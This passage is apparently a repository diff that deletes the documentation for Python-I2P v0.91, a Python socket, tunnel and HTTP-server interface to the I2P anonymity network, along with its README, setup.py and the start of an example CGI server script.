&gt;&gt;&gt; s = socket.socket('Alice', socket.SOCK_STREAM)
&gt;&gt;&gt; s.connect('duck.i2p')
&gt;&gt;&gt; s.send('GET / HTTP/1.0\r\n\r\n')
&gt;&gt;&gt; s.recv(1000)
(HTTP response from duck.i2p)
</pre>
</ul >
<p>
See the <a href="../../src/examples/">src/examples/</a> directory for more code examples.
<p>
<h2><a name="User's_Guide"> User's Guide </a></h2>
<p>
The following modules are available:
<p>
<ul >
<pre> <a href="i2p.html" class='printable' title ="User's Guide:i2p">i2p</a> (Container package)
<a href="i2p.BaseHTTPServer.html" class='printable' title ="User's Guide:i2p.BaseHTTPServer">i2p.BaseHTTPServer</a> (Emulate Python BaseHTTPServer module)
<a href="i2p.CGIHTTPServer.html" class='printable' title ="User's Guide:i2p.CGIHTTPServer">i2p.CGIHTTPServer</a> (Emulate Python CGIHTTPServer module)
<a href="i2p.eep.html" class='printable' title ="User's Guide:i2p.eep">i2p.eep</a> (Retrieve eepsites)
<a href="i2p.router.html" class='printable' title ="User's Guide:i2p.router">i2p.router</a> (Manage the I2P router)
<a href="i2p.select.html" class='printable' title ="User's Guide:i2p.select">i2p.select</a> (Emulate Python select module)
<a href="i2p.SimpleHTTPServer.html" class='printable' title ="User's Guide:i2p.SimpleHTTPServer">i2p.SimpleHTTPServer</a> (Emulate Python SimpleHTTPServer module)
<a href="i2p.socket.html" class='printable' title ="User's Guide:i2p.socket">i2p.socket</a> (Send and receive across the I2P network)
<a href="i2p.SocketServer.html" class='printable' title ="User's Guide:i2p.SocketServer">i2p.SocketServer</a> (Emulate Python SocketServer module)
<a href="i2p.tunnel.html" class='printable' title ="User's Guide:i2p.tunnel">i2p.tunnel</a> (Exchange data between I2P and regular sockets)
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -1,35 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>SAM proxy - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>SAM proxy</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
A <strong>SAM proxy</strong> is run by the I2P router. The proxy allows streams, datagrams, and raw packets to be sent through the I2P network. A client application uses a telnet-like session to communicate with the proxy. In this way, the core features of the I2P library can be used by any language.
<p>
The protocol used for SAM is described in <a href='http://dev.i2p.net/pipermail/i2p/2004-July/000353.html' class='printable' title="http://dev.i2p.net/pipermail/i2p/2004-July/000353.html">SAM 1.0</a>.
<p>
In practice, a <em>SAM library</em> is usually written, so that client applications do not need to use the low-level SAM commands.
<p>
</div>
<p><em>
</em><!-- Time since request: 0.77 secs. -->
</body></html>

View File

@ -1,5 +0,0 @@
Title: Eeproxy
The '''Eeproxy''' is run by the I2P router. The proxy is normally used for web browsers, as a means of accessing eepsites.
The eeproxy is usually available at http://127.0.0.1:4444/.

View File

@ -1,49 +0,0 @@
Title: User's Guide:i2p.BaseHTTPServer
Emulates Python BaseHTTPServer module using I2P sockets.
== Overview ==
The Python module is described at http://www.python.org/doc/current/lib/module-BaseHTTPServer.html
To get a server going, use:
<ul><pre>
>>> from i2p import BaseHTTPServer
>>> BaseHTTPServer.test().
</pre></ul>
Consult the documentation for function test() to change basic server settings, such as the session name.
A fully customizable example:
<ul><pre>
>>> from i2p import BaseHTTPServer
>>> session = "mytestxxx.i2p" # SAM session name
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
>>> class MyRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): pass
>>> httpd = MyServer(session, MyRequestHandler)
>>> httpd.socket.dest
(Base64 Destination of server)
>>> httpd.serve_forever()
</pre></ul>
== Classes ==
class '''BaseHTTPRequestHandler'''
<ul><pre>
Same interface as Python class BaseHTTPServer.BaseHTTPRequestHandler.
</pre></ul>
class '''HTTPServer'''
<ul><pre>
Same interface as Python class BaseHTTPServer.HTTPServer.
</pre></ul>
== Functions ==
'''test'''(HandlerClass=BaseHTTPRequestHandler, ServerClass=HTTPServer, protocol='HTTP/1.0', session='mytestxxx.i2p')
<ul><pre>
Test the HTTP request handler class.
This runs an I2P TCP server under SAM session 'session'. If a single command
line argument is given, the argument is used instead as the SAM session name.
</pre></ul>

View File

@ -1,48 +0,0 @@
Title: User's Guide:i2p.CGIHTTPServer
Module <code>i2p.CGIHTTPServer</code> emulates the Python CGIHTTPServer module using I2P sockets.
== Overview ==
The Python module is described at http://www.python.org/doc/current/lib/module-CGIHTTPServer.html
To get a server going, use:
<ul><pre>
>>> from i2p import CGIHTTPServer
>>> CGIHTTPServer.test().
</pre></ul>
Consult the documentation for function test() to change basic server settings, such as the session name.
A fully customizable example:
<ul><pre>
>>> from i2p import BaseHTTPServer, CGIHTTPServer
>>> session = "mytestxxx.i2p" # SAM session name
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
>>> class MyRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler): pass
>>> httpd = MyServer(session, MyRequestHandler)
>>> httpd.socket.dest
(Base64 Destination of server)
>>> httpd.serve_forever()
</pre></ul>
== Classes ==
class '''CGIHTTPRequestHandler'''
<ul><pre>
Same interface as Python class CGIHTTPServer.CGIHTTPRequestHandler.
</pre></ul>
== Functions ==
'''test'''(HandlerClass=CGIHTTPRequestHandler,
ServerClass=i2p.BaseHTTPServer.HTTPServer,
session='mytestxxx.i2p')
<ul><pre>
Test the HTTP CGI request handler class.
This runs an I2P TCP server under SAM session 'session'. If a single
command line argument is given, the argument is used instead as the SAM session
name.
</pre></ul>

View File

@ -1,45 +0,0 @@
Title: User's Guide:i2p.SimpleHTTPServer
Emulates Python SimpleHTTPServer module using I2P sockets.
== Overview ==
The Python module is described at http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html
To get a server going, use:
<ul><pre>
>>> from i2p import SimpleHTTPServer
>>> SimpleHTTPServer.test().
</pre></ul>
Consult the documentation for function test() to change basic server settings, such as the session name.
A fully customizable example:
<ul><pre>
>>> from i2p import BaseHTTPServer, SimpleHTTPServer
>>> session = "mytestxxx.i2p" # SAM session name
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
>>> class MyRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): pass
>>> httpd = MyServer(session, MyRequestHandler)
>>> httpd.socket.dest
(Base64 Destination of server)
>>> httpd.serve_forever()
</pre></ul>
== Classes ==
class '''SimpleHTTPRequestHandler'''
<ul><pre>
Same interface as Python class SimpleHTTPServer.SimpleHTTPRequestHandler.
</pre></ul>
== Functions ==
'''test'''(HandlerClass=SimpleHTTPRequestHandler, ServerClass= i2p.BaseHTTPServer.HTTPServer, session='mytestxxx.i2p')
<ul><pre>
Test the HTTP simple request handler class.
This runs an I2P TCP server under SAM session 'session'. If a single command
line argument is given, the argument is used instead as the SAM session name.
</pre></ul>

View File

@ -1,22 +0,0 @@
Title: User's Guide:i2p.SocketServer
Emulates Python SocketServer module using I2P sockets.
The Python module is described at http://www.python.org/doc/current/lib/module-SocketServer.html
== Classes ==
<ul><pre>
BaseRequestHandler
BaseServer
DatagramRequestHandler
ForkingMixIn
ForkingTCPServer
ForkingUDPServer
StreamRequestHandler
TCPServer
ThreadingMixIn
ThreadingTCPServer
ThreadingUDPServer
UDPServer
</pre></ul>

View File

@ -1,18 +0,0 @@
Title: User's Guide:i2p.eep
Module <code>i2p.eep</code> allows Python programs to access the [[Eeproxy]].
With this module, a program can easily download eepsites.
== Functions ==
'''urlopen'''(url, eepaddr='127.0.0.1:4444')
<ul>
Like urllib2.urlopen(url), but only works for eep-sites.
Example: f = urlopen('http://duck.i2p/index.html')
</ul>
'''urlget'''(url, eepaddr='127.0.0.1:4444')
<ul>
Get contents of an eepsite.
Example: urlget('http://duck.i2p/').
</ul>

View File

@ -1,51 +0,0 @@
Title: User's Guide:i2p.router
Module <code>i2p.router</code> allows Python programs to control the I2P router.
== Functions ==
'''check'''(dir=None)
<ul><pre>
Checks whether a locally installed router is running. Does
nothing if successful, otherwise raises i2p.RouterError.
An I2P installation is located by using find(dir).
The router.config file is parsed for 'router.adminPort'.
This port is queried to determine whether the router is
running.
</pre></ul>
'''find'''(dir=None)
<ul><pre>
Find the absolute path to a locally installed I2P router.
An I2P installation is located by looking in the
dir argument given to the function, then in the environment
I2P, then in PATH. It looks for startRouter.sh or
startRouter.bat. Raises ValueError if an I2P installation
could not be located.
</pre></ul>
'''start'''(dir=None, hidden=False)
<ul><pre>
Start a locally installed I2P router. Does nothing if
the router has already been started.
An I2P installation is located by using find(dir).
If hidden is True, do not show a terminal for the router.
</pre></ul>
'''stop'''(dir=None, force=False)
<ul><pre>
Stop a locally installed I2P router, if it was started by
the current Python program. If force is True, stop the
router even if it was started by another process. Do nothing
if force is False and the router was started by another program.
The file 'router.config' is located using the same search
process used for find(dir). It is parsed for
'router.shutdownPassword' and 'router.adminPort'. The
router is shut down through the admin port.
Raises i2p.RouterError if the I2P router is running but cannot
be stopped. You must uncomment the
'router.shutdownPassword' line for this command to work.
</pre></ul>

View File

@ -1,202 +0,0 @@
Title: User's Guide:i2p.sam
Module <code>i2p.sam</code> allows Python programs to access the [[SAM proxy]].
With this module, a program can send stream data, datagrams, and raw packets across the I2P network.
== Sockets ==
'''socket'''(session, type, samaddr='127.0.0.1:7656', **kwargs)
<ul><pre>
Create a new socket. Argument session should be a session
name -- if the name has not yet been used, an I2P
Destination will be created for it, otherwise, the
existing Destination will be re-used. An empty session
string causes a transient session to be created. Argument
type is one of SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
I2P configuration keyword arguments:
* in_depth - depth of incoming tunnel (default 2)
* out_depth - depth of outgoing tunnel (default 2)
A single session may be shared by more than one socket, if
the sockets are the same type, and if the sockets are
created within the same Python process. The socket
objects are multithread-safe.
Examples:
a = i2p.socket('Alice', i2p.SOCK_STREAM)
b = i2p.socket('Bob', i2p.SOCK_DGRAM,
in_depth=2, out_depth=5)
The created object behaves identically to a socket from
module socket, with the following exceptions:
* I2P Destinations are used as address arguments [1].
* bind is a no-op: sockets are always bound.
* send* methods send all data and are non-blocking.
A given session name can only be open in a single Python
program at a time. If you need to overcome this
limitation, consider patching I2P.
[1]. Alternatively, a host name can be used as an address.
It will be resolved using hosts.txt.
For details on how to use socket objects, see
http://www.python.org/doc/current/lib/socket-objects.html
See the examples directory for code examples.
</pre></ul>
'''socket()''' object properties:
<ul>
dest - Local I2P Destination of socket
session - Session name
type - Socket type: SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
</ul>
'''poll'''()
<ul>
Returns a polling object. Works on SAM sockets and Python sockets.
See [http://www.python.org/doc/current/lib/module-select.html select.poll()] in the Python library for more information.
</ul>
'''resolve'''(host, samaddr='127.0.0.1:7656')
<ul>
Resolve I2P host name --> I2P Destination.
Returns the same string if host is already a Destination.
</ul>
'''select'''(readlist, writelist, errlist, timeout=None)
<ul>
Performs a select call. Works on SAM sockets and Python sockets.
See [http://www.python.org/doc/current/lib/module-select.html select.select()] in the Python library for more information.
</ul>
== Tunnels ==
Tunnels allow stream sockets to be joined, so that connections to a listening socket are relayed to one or more sending sockets. This allows an ordinary web server to be exposed as an I2P Destination, or an I2P Destination to be bound as a local port, and so on.
class '''Tunnel'''(self, receive, make_send, nconnect=-1, timeout=60.0)
<ul><pre>
A Tunnel relays connections from a 'receive' socket to one
or more 'send' sockets. The receive socket must be bound
and listening. For each incoming connection, a new send
socket is created by calling make_send(). Data is then
exchanged between the created streams until one socket is
closed. nconnect is the maximum number of simultaneous
connections (-1 for infinite), and timeout is the time that
a single connection can last for (None allows a connection
to last forever).
Sockets must accept stream traffic and support the Python
socket interface. A separate daemonic thread is created to
manage the tunnel. For high performance, make_send() should
make a socket and connect in non-blocking mode (you should
catch and discard the sam.BlockError or socket.error due to
executing connect on a non-blocking socket).
Security Note:
A firewall is needed to maintain the end user's anonymity.
An attacker could keep a tunnel socket open by pinging it
regularly. The accepted sockets from 'receive' must prevent
this by closing down eventually.
Socket errors do not cause the Tunnel to shut down.
</pre></ul>
'''close'''()
<ul>
Close all connections made for this tunnel.
</ul>
=== Tunnel Server ===
class '''TunnelServer'''(session, port, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
<ul><pre>
Tunnels incoming SAM streams --> localhost:port.
nconnect and timeout are the maximum number of connections
and maximum time per connection. All other arguments are
passed to sam.socket(). This call blocks until the tunnel
is ready.
</pre></ul>
'''TunnelServer''' properties:
<ul><pre>
dest - I2P Destination of server.
session - Session name for server.
</pre></ul>
=== Tunnel Client ===
class '''TunnelClient'''(session, port, dest, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
<ul><pre>
Derived from Tunnel.
Tunnels localhost:port --> I2P Destination dest.
A session named 'session' is created locally, for purposes
of routing to 'dest'. nconnect and timeout are the maximum
number of connections and maximum time per connection. All
other arguments are passed to sam.socket(). This call blocks
until the tunnel is ready.
</pre></ul>
'''TunnelClient''' properties:
<ul><pre>
dest - Local Destination used for routing.
remotedest - Remote Destination.
session - Session name for local Destination.
</pre></ul>
== Errors ==
class '''Error'''(i2p.Error)
<ul><pre>
Base class for all SAM errors.
</pre></ul>
class '''BlockError'''(Error)
<ul><pre>
Socket call would have blocked.
</pre></ul>
class '''ClosedError'''(Error)
<ul><pre>
A command was used on a socket that closed gracefully.
</pre></ul>
class '''NetworkError'''(Error)
<ul><pre>
Network error occurred within I2P.
The error object is a 2-tuple: (errtag, errdesc).
errtag is a SAM error string,
errdesc is a human readable error description.
</pre></ul>
== Constants ==
'''Socket types'''
<ul><pre>
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
</pre></ul>
'''Packet sizes'''
<ul><pre>
MAX_DGRAM = 31744 # Maximum size for datagram packet
MAX_RAW = 32768 # Maximum size for raw packet
</pre></ul>
'''Flags for recv()'''
<ul><pre>
MSG_DONTWAIT = 128 # Don't block
MSG_PEEK = 2 # Peek at incoming data
MSG_WAITALL = 64 # Wait for all data or error
</pre></ul>
'''Polling flags'''
<ul><pre>
POLLIN = 1
POLLOUT = 4
POLLERR = 8
POLLHUP = 16
POLLNVAL = 32
POLLPRI = 1
</pre></ul>

View File

@ -1,27 +0,0 @@
Title: User's Guide:i2p.select
Module <code>i2p.select</code> emulates the Python module <code>select</code>.
With this module, a program can perform select and poll commands on traditional and I2P sockets.
'''poll'''()
<ul>
Returns a polling object. Works on SAM sockets and Python sockets.
See [http://www.python.org/doc/current/lib/module-select.html select.poll()] in the Python library for more information.
</ul>
'''select'''(readlist, writelist, errlist, timeout=None)
<ul>
Performs a select call. Works on SAM sockets and Python sockets.
See [http://www.python.org/doc/current/lib/module-select.html select.select()] in the Python library for more information.
</ul>
'''Polling flags'''
<ul><pre>
POLLIN = 1
POLLOUT = 4
POLLERR = 8
POLLHUP = 16
POLLNVAL = 32
POLLPRI = 1
</pre></ul>

View File

@ -1,276 +0,0 @@
Title: User's Guide:i2p.socket
Module <code>i2p.socket</code> allows Python programs to access the [[SAM proxy]]. It emulates the Python module <code>socket</code>.
With this module, a program can send stream data, datagrams, and raw packets across the I2P network.
== Sockets ==
class '''socket'''(session, type, samaddr='127.0.0.1:7656', **kwargs)
<ul><pre>
Create a new socket. Argument session should be a session
name -- if the name has not yet been used, an I2P
Destination will be created for it, otherwise, the
existing Destination will be re-used. An empty session
string causes a transient session to be created. Argument
type is one of SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
I2P configuration keyword arguments:
- in_depth - depth of incoming tunnel (default 2)
- out_depth - depth of outgoing tunnel (default 2)
A single session may be shared by more than one socket, if
the sockets are the same type, and if the sockets are
created within the same Python process. The socket
objects are multithread-safe.
Examples:
>>> a = i2p.socket('Alice', i2p.SOCK_STREAM)
>>> b = i2p.socket('Bob', i2p.SOCK_DGRAM,
in_depth=2, out_depth=5)
The created object behaves identically to a socket from
module socket, with the following exceptions:
* I2P Destinations are used as address arguments [1].
* bind is a no-op: sockets are always bound.
* send* methods send all data and are non-blocking.
A given session name can only be open in a single Python
program at a time. If you need to overcome this
limitation, consider patching I2P.
[1]. Alternatively, a host name can be used as an address.
It will be resolved using hosts.txt.
</pre>
For details on how to use socket objects, see
http://www.python.org/doc/current/lib/socket-objects.html
See the examples directory for code examples.
</ul>
The class <code>socket</code> defines the following properties:
<ul>
dest - Local I2P Destination of socket
session - Session name
type - Socket type: SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
</ul>
The class <code>socket</code> defines the following methods:
'''accept'''(self)
<ul><pre>
Accept an incoming connection. The socket must be type SOCK_STREAM, and
listen() must be called prior to this command. The return value is (conn,
remotedest), where conn is a new socket object made for the connection, and
remotedest is the remote Destination from which the connection was made.
Example:
>>> from i2p import socket
>>> s = socket.socket('Alice', socket.SOCK_STREAM)
>>> s.listen(10)
This prepares the server. Now accept an incoming connection:
>>> c, remotedest = s.accept()
>>> c.send('hello world!')
If accept() is called on a socket that is in non-blocking mode or has a
timeout, i2p.socket.BlockError or i2p.socket.Timeout may be raised. This
indicates that no incoming connection is currently available.
</pre></ul>
'''bind'''(self, address)
<ul><pre>
Does nothing. Provided for compatibility with the Python socket command
bind(), which binds a server to a port.
</pre></ul>
'''close'''(self)
<ul><pre>
Closes the socket. It is an error to call any method other than recv() or
recvfrom() on a closed socket. For streams, the receive methods return data
that was received prior to the closing of the socket. For datagram and raw
sockets, the receive methods cannot be used on a closed socket.
</pre></ul>
'''connect'''(self, address)
<ul><pre>
Connect to a remote dest, identified in local SAM bridge's hosts file as host
'address'.
For example:
>>> s.connect('duck.i2p')
Alternatively, you can use a full base64 Destination:
Example:
>>> s.connect('238797sdfh2k34kjh....AAAA')
If connect() is called on a socket that is in non-blocking mode or has a
timeout, i2p.socket.BlockError or i2p.socket.Timeout may be raised. This
indicates that the connection is still being initiated. Use i2p.select.select()
to determine when the connection is ready.
</pre></ul>
'''connect_ex'''(self, address)
<ul><pre>
Like connect(), but return any error that is raised. Returns None if no error
is raised.
</pre></ul>
'''getpeername'''(self)
<ul><pre>
Get the remote Destination associated with the socket. This is equivalent to
s.remotedest, and is provided for compatibility with the Python socket module.
</pre></ul>
'''getsockname'''(self)
<ul><pre>
Get the local Destination associated with the socket. This is equivalent to
s.dest, and is provided for compatibility with the Python socket module.
</pre></ul>
'''gettimeout'''(self)
<ul><pre>
Get the timeout value.
</pre></ul>
'''listen'''(self, backlog)
<ul><pre>
Listen for connections made to the socket. This method must be called before
accept(). The backlog argument specifies the maximum number of queued incoming
connections.
</pre></ul>
'''makefile'''(self, mode='r', bufsize=-1)
<ul><pre>
Return a file object for the socket. See socket.makefile() in the Python
documentation for more information.
</pre></ul>
'''recv'''(self, bufsize, flags=0)
<ul><pre>
Receive string data from the socket.
The maximum amount of data to be received is given by bufsize. If bufsize is
zero, this function returns an empty string immediately. If bufsize is nonzero,
this function blocks until at least one character is available for reading. If
the socket has been closed, an empty string is returned as an end of file
indicator.
If recv() is called on a socket that is in non-blocking mode or has a timeout,
i2p.socket.BlockError or i2p.socket.Timeout will be raised if data is not
available within the given timeframe.
For a datagram or raw socket, the first bufsize characters of the packet are
read, and the remainder of the packet is discarded. To read the entire packet,
use bufsize = -1.
For datagram and raw sockets, the packet may originate from any Destination.
Use recvfrom() with datagrams to determine the Destination from which the
packet was received.
The flags argument can be a bitwise OR of MSG_PEEK, MSG_WAITALL, and/or
MSG_DONTWAIT. MSG_PEEK indicates that any data read should not be removed from
the socket's incoming buffer. MSG_WAITALL indicates to wait for exactly bufsize
characters or an error. MSG_DONTWAIT indicates that the recv() command should
not block execution.
</pre></ul>
'''recvfrom'''(self, bufsize, flags=0)
<ul><pre>
Like recv(), but returns a tuple (data, remoteaddr), where data is the string
data received, and remoteaddr is the remote Destination.
</pre></ul>
'''send'''(self, string, flags=0)
<ul><pre>
Sends string data to a remote Destination.
For a stream, connect() must be called prior to send(). Once close() is called,
no further data can be sent, and the stream cannot be re-opened.
For datagram and raw sockets, connect() only specifies a Destination to which
packets are sent to. send() will then send a packet to the given Destination.
connect() can be used multiple times.
The send() command never blocks execution. The flags argument is ignored.
</pre></ul>
'''sendall'''(self, string, flags=0)
<ul><pre>
Identical to send().
</pre></ul>
'''sendto'''(self, string, flags, address)
<ul><pre>
Send a packet to the given Destination.
Only valid for datagram and raw sockets. The address argument should be either
a name from the hosts file, or a base64 Destination.
The sendto() command never blocks execution. The flags argument is ignored.
</pre></ul>
'''setblocking'''(self, flag)
<ul><pre>
Set blocking or non-blocking mode for the socket.
If flag is True, any method called on the socket will hang until the method has
completed. If flag is False, all methods will raise i2p.socket.BlockError() if
they cannot complete instantly.
s.setblocking(False) is equivalent to s.settimeout(0); s.setblocking(True) is
equivalent to s.settimeout(None).
</pre></ul>
'''settimeout'''(self, value)
<ul><pre>
Set a timeout for the socket.
The value argument should be a timeout value in seconds, or None. None is
equivalent to an infinite timeout.
A socket operation will raise a i2p.socket.Timeout if the operation cannot
complete within in the specified time limit.
</pre></ul>
== Functions ==
Functions defined in module <code>i2p.socket</code>:
'''resolve'''(host, samaddr='127.0.0.1:7656')
<ul>
Resolve I2P host name --> I2P Destination.
Returns the same string if host is already a Destination.
</ul>
== Errors ==
class '''Error'''(i2p.Error)
<ul><pre>
Base class for all SAM errors.
</pre></ul>
class '''BlockError'''(Error)
<ul><pre>
Socket call would have blocked.
</pre></ul>
class '''ClosedError'''(Error)
<ul><pre>
A command was used on a socket that closed gracefully.
</pre></ul>
class '''NetworkError'''(Error)
<ul><pre>
Network error occurred within I2P.
The error object is a 2-tuple: (errtag, errdesc).
errtag is a SAM error string,
errdesc is a human readable error description.
</pre></ul>
== Constants ==
'''Socket types'''
<ul><pre>
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
</pre></ul>
'''Packet sizes'''
<ul><pre>
MAX_DGRAM = 31744 # Maximum size for datagram packet
MAX_RAW = 32768 # Maximum size for raw packet
</pre></ul>
'''Flags for recv()'''
<ul><pre>
MSG_DONTWAIT = 128 # Don't block
MSG_PEEK = 2 # Peek at incoming data
MSG_WAITALL = 64 # Wait for all data or error
</pre></ul>

View File

@ -1,79 +0,0 @@
Title: User's Guide:i2p.tunnel
Module <code>i2p.tunnel</code> allows data to be exchanged between traditional TCP sockets and I2P sockets.
== Tunnels ==
Tunnels allow stream sockets to be joined, so that connections to a listening socket are relayed to one or more sending sockets. This allows an ordinary web server to be exposed as an I2P Destination, or an I2P Destination to be bound as a local port, and so on.
class '''Tunnel'''(self, receive, make_send, nconnect=-1, timeout=60.0)
<ul><pre>
A Tunnel relays connections from a 'receive' socket to one
or more 'send' sockets. The receive socket must be bound
and listening. For each incoming connection, a new send
socket is created by calling make_send(). Data is then
exchanged between the created streams until one socket is
closed. nconnect is the maximum number of simultaneous
connections (-1 for infinite), and timeout is the time that
a single connection can last for (None allows a connection
to last forever).
Sockets must accept stream traffic and support the Python
socket interface. A separate daemonic thread is created to
manage the tunnel. For high performance, make_send() should
make a socket and connect in non-blocking mode (you should
catch and discard the i2p.socket.BlockError or socket.error due to
executing connect on a non-blocking socket).
Security Note:
A firewall is needed to maintain the end user's anonymity.
An attacker could keep a tunnel socket open by pinging it
regularly. The accepted sockets from 'receive' must prevent
this by closing down eventually.
Socket errors do not cause the Tunnel to shut down.
</pre></ul>
'''close'''()
<ul>
Close all connections made for this tunnel.
</ul>
=== Tunnel Server ===
class '''TunnelServer'''(session, port, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
<ul><pre>
Tunnels incoming SAM streams --> localhost:port.
nconnect and timeout are the maximum number of connections
and maximum time per connection. All other arguments are
passed to i2p.socket.socket(). This call blocks until the
tunnel is ready.
</pre></ul>
'''TunnelServer''' properties:
<ul><pre>
dest - I2P Destination of server.
session - Session name for server.
</pre></ul>
=== Tunnel Client ===
class '''TunnelClient'''(session, port, dest, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
<ul><pre>
Derived from Tunnel.
Tunnels localhost:port --> I2P Destination dest.
A session named 'session' is created locally, for purposes
of routing to 'dest'. nconnect and timeout are the maximum
number of connections and maximum time per connection. All
other arguments are passed to i2p.socket.socket(). This call
blocks until the tunnel is ready.
</pre></ul>
'''TunnelClient''' properties:
<ul><pre>
dest - Local Destination used for routing.
remotedest - Remote Destination.
session - Session name for local Destination.
</pre></ul>

View File

@ -1,26 +0,0 @@
Title: User's Guide:i2p
Package <code>i2p</code> is a container package for more specific modules.
It contains the following modules:
<ul>
[[:User's Guide:i2p.BaseHTTPServer|i2p.BaseHTTPServer]] (Emulate Python BaseHTTPServer module)
[[:User's Guide:i2p.CGIHTTPServer|i2p.CGIHTTPServer]] (Emulate Python CGIHTTPServer module)
[[:User's Guide:i2p.eep|i2p.eep]] (Retrieve eepsites)
[[:User's Guide:i2p.router|i2p.router]] (Manage the I2P router)
[[:User's Guide:i2p.select|i2p.select]] (Emulate Python select module)
[[:User's Guide:i2p.SimpleHTTPServer|i2p.SimpleHTTPServer]] (Emulate Python SimpleHTTPServer module)
[[:User's Guide:i2p.socket|i2p.socket]] (Send and receive across the I2P network)
[[:User's Guide:i2p.SocketServer|i2p.SocketServer]] (Emulate Python SocketServer module)
[[:User's Guide:i2p.tunnel|i2p.tunnel]] (Exchange data between I2P and regular sockets)
</ul>
class '''Error'''(Exception):
<ul>
Base class for all I2P errors.
</ul>
class '''RouterError'''(Error):
<ul>
Could not connect to router.
</ul>

View File

@ -1,41 +0,0 @@
Title: Main Page
'''Python-I2P''' is a Python interface to [http://www.i2p.net I2P].
== Quick Start ==
Install:
<ul><pre>
python setup.py install
</pre></ul>
Use:
<ul><pre>
>>> from i2p import socket
>>> s = socket.socket('Alice', socket.SOCK_STREAM)
>>> s.connect('duck.i2p')
>>> s.send('GET / HTTP/1.0\r\n\r\n')
>>> s.recv(1000)
(HTTP response from duck.i2p)
</pre></ul>
See the src/examples/ directory for more code examples.
== User's Guide ==
The following modules are available:
<ul>
[[:User's Guide:i2p|i2p]] (Container package)
[[:User's Guide:i2p.BaseHTTPServer|i2p.BaseHTTPServer]] (Emulate Python BaseHTTPServer module)
[[:User's Guide:i2p.CGIHTTPServer|i2p.CGIHTTPServer]] (Emulate Python CGIHTTPServer module)
[[:User's Guide:i2p.eep|i2p.eep]] (Retrieve eepsites)
[[:User's Guide:i2p.router|i2p.router]] (Manage the I2P router)
[[:User's Guide:i2p.select|i2p.select]] (Emulate Python select module)
[[:User's Guide:i2p.SimpleHTTPServer|i2p.SimpleHTTPServer]] (Emulate Python SimpleHTTPServer module)
[[:User's Guide:i2p.socket|i2p.socket]] (Send and receive across the I2P network)
[[:User's Guide:i2p.SocketServer|i2p.SocketServer]] (Emulate Python SocketServer module)
[[:User's Guide:i2p.tunnel|i2p.tunnel]] (Exchange data between I2P and regular sockets)
</ul>

View File

@ -1,22 +0,0 @@
The documentation was created by using MediaWiki software.
This directory houses the wiki text sources.
Feel free to move to any other documentation system, if
it is efficient and easy to maintain.
Do not use the Monobook skin, as it is Copyrighted.
-------------------------------------------------------
The documentation made by epydoc is pretty nice.
Ideally, one could patch epydoc to use a more condensed
2-column format (where there are fewer pages, and it is
easier to read).
With a little work on the output, epydoc could then be
used solely for documenting this project.
Note that the docs produced by epydoc are huge.

View File

@ -1,7 +0,0 @@
Title: SAM proxy
A '''SAM proxy''' is run by the I2P router. The proxy allows streams, datagrams, and raw packets to be sent through the I2P network. A client application uses a telnet-like session to communicate with the proxy. In this way, the core features of the I2P library can be used by any language.
The protocol used for SAM is described in [http://dev.i2p.net/pipermail/i2p/2004-July/000353.html SAM 1.0].
In practice, a ''SAM library'' is usually written, so that client applications do not need to use the low-level SAM commands.

View File

@ -1,21 +0,0 @@
<html>
<body bgcolor=#ffffff text=#000000 link=#0000ff alink=#0000ff vlink=#0000ff>
<h1>Python-I2P</h1>
Documentation:
<ul>
<li><a href="./guide/index.html">User's Guide</a><br>
<li><a href="./epydoc/html/index.html">Epydoc Documentation</a><br>
</ul>
How to build epydoc documentation:
<ul>
<li>Install <a href="http://epydoc.sourceforge.net/">epydoc</a>.
<li>Run <tt>makedoc.py</tt> in <tt>apps/sam/python/doc/epydoc/</tt>
</ul>
</body>
</html>

View File

@ -1,34 +0,0 @@
----------------------------------------
Python-I2P v0.91
----------------------------------------
Python-I2P is a Python interface to I2P.
All files in this directory and subdirectories
have been placed in the public domain.
----------------------------------------
Quick Start
----------------------------------------
Install:
python setup.py install
Use:
>>> from i2p import socket
>>> s = socket.socket('Alice', socket.SOCK_STREAM)
>>> s.connect('duck.i2p')
>>> s.send('GET / HTTP/1.0\r\n\r\n')
>>> s.recv(1000)
(Response from duck.i2p)
See the src/examples/ directory for more code examples.
----------------------------------------
Full Start
----------------------------------------
See the docs directory for HTML documentation.

View File

@ -1,15 +0,0 @@
#! /usr/bin/env python
from distutils.core import setup
import os, sys
os.chdir('./src')
setup(name="Python I2P API",
version="0.91",
description="Python Interface to I2P",
author="Connelly Barnes",
author_email="'Y29ubmVsbHliYXJuZXNAeWFob28uY29t\n'.decode('base64')",
url="http://www.i2p.net/",
packages=['i2p', 'i2p.pylib'],
)

View File

@ -1,26 +0,0 @@
#! /usr/bin/env python
# -----------------------------------------------
# cgi_server.py: Simple CGI server
# -----------------------------------------------
myServerSession = "mytestxxx.i2p"
from i2p import BaseHTTPServer, CGIHTTPServer
class MyServer(BaseHTTPServer.HTTPServer):
